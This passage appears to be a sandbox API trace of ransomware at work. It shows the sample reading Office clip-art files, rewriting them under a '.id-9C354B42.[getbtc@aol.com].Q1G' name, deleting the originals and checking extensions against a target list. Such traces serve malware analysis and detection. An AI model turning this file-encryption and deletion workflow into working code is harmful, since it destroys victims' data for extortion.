nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.848] SetEndOfFile (hFile=0x388) returned 1 [0263.849] CloseHandle (hObject=0x388) returned 1 [0263.849] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.849] SetEndOfFile (hFile=0x3a8) returned 1 [0263.851] CloseHandle (hObject=0x3a8) returned 1 [0263.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 1 [0263.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.853] lstrlenW (lpString=".doc") returned 4 [0263.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.853] lstrlenW (lpString=".docx") returned 5 [0263.853] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.853] lstrlenW (lpString=".pdf") returned 4 [0263.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.853] lstrlenW (lpString=".xls") returned 4 [0263.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.853] lstrlenW (lpString=".xlsx") returned 5 [0263.853] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.853] lstrlenW (lpString=".ppt") returned 4 [0263.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.853] lstrlenW (lpString=".zip") returned 4 [0263.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.853] lstrlenW (lpString=".rar") returned 4 [0263.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.853] lstrlenW (lpString=".bz2") returned 4 [0263.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.853] lstrlenW (lpString=".7z") returned 3 [0263.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.853] lstrlenW (lpString=".dbf") returned 4 [0263.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.853] lstrlenW (lpString=".1cd") returned 4 [0263.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.854] lstrlenW (lpString=".jpg") returned 4 [0263.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.854] lstrlenW (lpString=".doc") returned 4 [0263.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString=".docx") returned 5 [0263.854] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.854] lstrlenW (lpString=".pdf") returned 4 [0263.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString=".xls") returned 4 [0263.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.854] lstrlenW (lpString=".xlsx") returned 5 [0263.854] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.854] lstrlenW (lpString=".ppt") returned 4 [0263.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.854] lstrlenW (lpString=".zip") returned 4 [0263.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.854] lstrlenW (lpString=".rar") returned 4 [0263.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString=".bz2") returned 4 [0263.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString=".7z") returned 3 [0263.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.854] lstrlenW (lpString=".dbf") returned 4 [0263.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.854] lstrlenW (lpString=".1cd") returned 4 [0263.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0263.854] lstrlenW (lpString=".jpg") returned 4 [0263.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.855] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.855] lstrlenW (lpString="J0172193.WMF") returned 12 [0263.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.886] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=12696) returned 1 [0263.886] CloseHandle (hObject=0x3e0) returned 1 [0263.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 0x20 [0263.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.915] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.915] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0263.916] GetLastError () returned 0x0 [0263.916] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3198, lpOverlapped=0x0) returned 1 [0263.961] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0263.962] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.962] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.962] SetEndOfFile (hFile=0x360) returned 1 [0263.962] CloseHandle (hObject=0x360) returned 1 [0263.962] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.962] SetEndOfFile (hFile=0x390) returned 1 [0263.964] CloseHandle (hObject=0x390) returned 1 [0263.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 1 [0263.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.965] lstrlenW (lpString=".doc") returned 4 [0263.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.965] lstrlenW (lpString=".docx") returned 5 [0263.965] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.965] lstrlenW (lpString=".pdf") returned 4 [0263.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.965] lstrlenW (lpString=".xls") returned 4 [0263.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.965] lstrlenW (lpString=".xlsx") returned 5 [0263.966] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.966] lstrlenW (lpString=".ppt") returned 4 [0263.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.966] lstrlenW (lpString=".zip") returned 4 [0263.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.966] lstrlenW (lpString=".rar") returned 4 [0263.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString=".bz2") returned 4 [0263.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString=".7z") returned 3 [0263.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.966] lstrlenW (lpString=".dbf") returned 4 [0263.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.966] lstrlenW (lpString=".1cd") returned 4 [0263.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.966] lstrlenW (lpString=".jpg") returned 4 [0263.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.966] lstrlenW (lpString=".doc") returned 4 [0263.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString=".docx") returned 5 [0263.966] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.966] lstrlenW (lpString=".pdf") returned 4 [0263.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString=".xls") returned 4 [0263.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.966] lstrlenW (lpString=".xlsx") returned 5 [0263.966] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.966] lstrlenW (lpString=".ppt") returned 4 [0263.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.966] lstrlenW (lpString=".zip") returned 4 [0263.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.967] lstrlenW (lpString=".rar") returned 4 [0263.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString=".bz2") returned 4 [0263.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString=".7z") returned 3 [0263.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.967] lstrlenW (lpString=".dbf") returned 4 [0263.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.967] lstrlenW (lpString=".1cd") returned 4 [0263.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0263.967] lstrlenW (lpString=".jpg") returned 4 [0263.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.967] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0263.967] lstrlenW (lpString="J0175428.JPG") returned 12 [0263.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.968] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=14552) returned 1 [0263.968] CloseHandle (hObject=0x390) returned 1 [0263.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg")) returned 0x20 [0263.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.968] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.968] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0263.969] GetLastError () returned 0x0 [0263.969] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x38d8, lpOverlapped=0x0) returned 1 [0263.990] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x38e0, lpOverlapped=0x0) returned 1 [0263.991] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.991] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.991] SetEndOfFile (hFile=0x360) returned 1 [0263.991] CloseHandle (hObject=0x360) returned 1 [0263.991] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.992] SetEndOfFile (hFile=0x390) returned 1 [0263.995] CloseHandle (hObject=0x390) returned 1 [0263.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg")) returned 1 [0264.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.020] lstrlenW (lpString=".doc") returned 4 [0264.020] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.020] lstrlenW (lpString=".docx") returned 5 [0264.020] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0264.020] lstrlenW (lpString=".pdf") returned 4 [0264.021] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.021] lstrlenW (lpString=".xls") returned 4 [0264.021] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.021] lstrlenW (lpString=".xlsx") returned 5 [0264.021] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0264.021] lstrlenW (lpString=".ppt") returned 4 [0264.021] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.021] lstrlenW (lpString=".zip") returned 4 [0264.021] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.021] lstrlenW (lpString=".rar") returned 4 [0264.021] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.021] lstrlenW (lpString=".bz2") returned 4 [0264.021] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.021] lstrlenW (lpString=".7z") returned 3 [0264.021] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.021] lstrlenW (lpString=".dbf") returned 4 [0264.021] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.021] lstrlenW (lpString=".1cd") returned 4 [0264.021] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.021] lstrlenW (lpString=".jpg") returned 4 [0264.021] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.021] lstrlenW (lpString=".doc") returned 4 [0264.021] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.021] lstrlenW (lpString=".docx") returned 5 [0264.021] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0264.021] lstrlenW (lpString=".pdf") returned 4 [0264.021] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.021] lstrlenW (lpString=".xls") returned 4 [0264.021] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.021] lstrlenW (lpString=".xlsx") returned 5 [0264.021] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0264.021] lstrlenW (lpString=".ppt") returned 4 [0264.022] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.022] lstrlenW (lpString=".zip") returned 4 [0264.022] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.022] lstrlenW (lpString=".rar") returned 4 [0264.022] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.022] lstrlenW (lpString=".bz2") returned 4 [0264.022] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.022] lstrlenW (lpString=".7z") returned 3 [0264.022] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.022] lstrlenW (lpString=".dbf") returned 4 [0264.022] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.022] lstrlenW (lpString=".1cd") returned 4 [0264.022] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0264.022] lstrlenW (lpString=".jpg") returned 4 [0264.022] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.022] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.022] lstrlenW (lpString="J0178459.JPG") returned 12 [0264.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.023] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=29204) returned 1 [0264.023] CloseHandle (hObject=0x360) returned 1 [0264.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg")) returned 0x20 [0264.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.023] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.023] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.025] GetLastError () returned 0x0 [0264.025] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x7214, lpOverlapped=0x0) returned 1 [0264.029] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0264.031] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.031] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.031] SetEndOfFile (hFile=0x3a8) returned 1 [0264.031] CloseHandle (hObject=0x3a8) returned 1 [0264.031] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.031] SetEndOfFile (hFile=0x360) returned 1 [0264.033] CloseHandle (hObject=0x360) returned 1 [0264.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 